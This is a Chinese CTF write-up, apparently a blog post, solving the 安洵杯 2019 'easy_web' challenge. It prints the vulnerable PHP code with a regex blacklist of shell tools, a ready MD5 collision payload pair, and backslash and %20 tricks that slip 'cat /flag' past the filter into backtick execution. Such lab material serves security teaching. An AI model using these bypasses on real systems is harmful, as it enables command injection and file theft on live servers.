• [安洵杯 2019]easy_web md5强碰撞 preg_match绕过


    比较简单

    url一看就存在一个cmd 和 base64

    我们尝试给cmd传递参数 但是没有效果

    所以我们就去看看 img里面是什么

    直接放到瑞士军刀看看

    知道了加密方法 我们去看看能不能返回 index.php代码

    TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

    返回了 接下俩就是代码审计了

    1. error_reporting(E_ALL || ~ E_NOTICE);
    2. header('content-type:text/html;charset=utf-8');
    3. $cmd = $_GET['cmd'];
    4. if (!isset($_GET['img']) || !isset($_GET['cmd']))
    5. header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
    6. $file = hex2bin(base64_decode(base64_decode($_GET['img'])));
    7. $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
    8. if (preg_match("/flag/i", $file)) {
    9. echo '';
    10. die("xixiï½ no flag");
    11. } else {
    12. $txt = base64_encode(file_get_contents($file));
    13. echo "";
    14. echo "
      "
      ;
    15. }
    16. echo $cmd;
    17. echo "
      "
      ;
    18. if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    19. echo("forbid ~");
    20. echo "
      "
      ;
    21. } else {
    22. if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
    23. echo `$cmd`;
    24. } else {
    25. echo ("md5 is funny ~");
    26. }
    27. }
    28. ?>

    这里主要的是下面这段

    1. if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    2. echo("forbid ~");
    3. echo "
      "
      ;
    4. } else {
    5. if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
    6. echo `$cmd`;
    7. } else {
    8. echo ("md5 is funny ~");
    9. }
    10. }

    过滤cmd 如果a!=b 并且md5(a)=md5(b)

    就执行cmd

    这里主要是MD5强碰撞 网上一搜一大把

    直接偷个payload

    1. a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
    2. &b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

    url加密主要是防止识别不到

    然后就是cmd的过滤了

    这里过滤函数是preg_match

    可以直接在过滤中加 \ 绕过

    例如 c\at 就会识别为cat

    空格我们可以使用 %20/来绕过

    我们首先直接看看当前文件

    l\s

    然后看看根目录 dir%20/

    直接读取flag即可

    c\at%20/fl\ag

  • 相关阅读:
    Web前端:所有新前端开发人员应该具备的顶级技能
    设计模式(一)-设计原则(1)
    怎样利用数据讲一个精彩故事?
    Spring MVC——Rest风格
    Redis缓存和MySQL数据一致性方案详解
    Jvm中时区设置方式
    系统移植 DAY4(FSMP1A开发板开发阶段部署)
    前端最强面试宝典 - JS 篇之 ES6

    解决微软活动目录管理工作中常见问题
  • 原文地址:https://blog.csdn.net/m0_64180167/article/details/133023022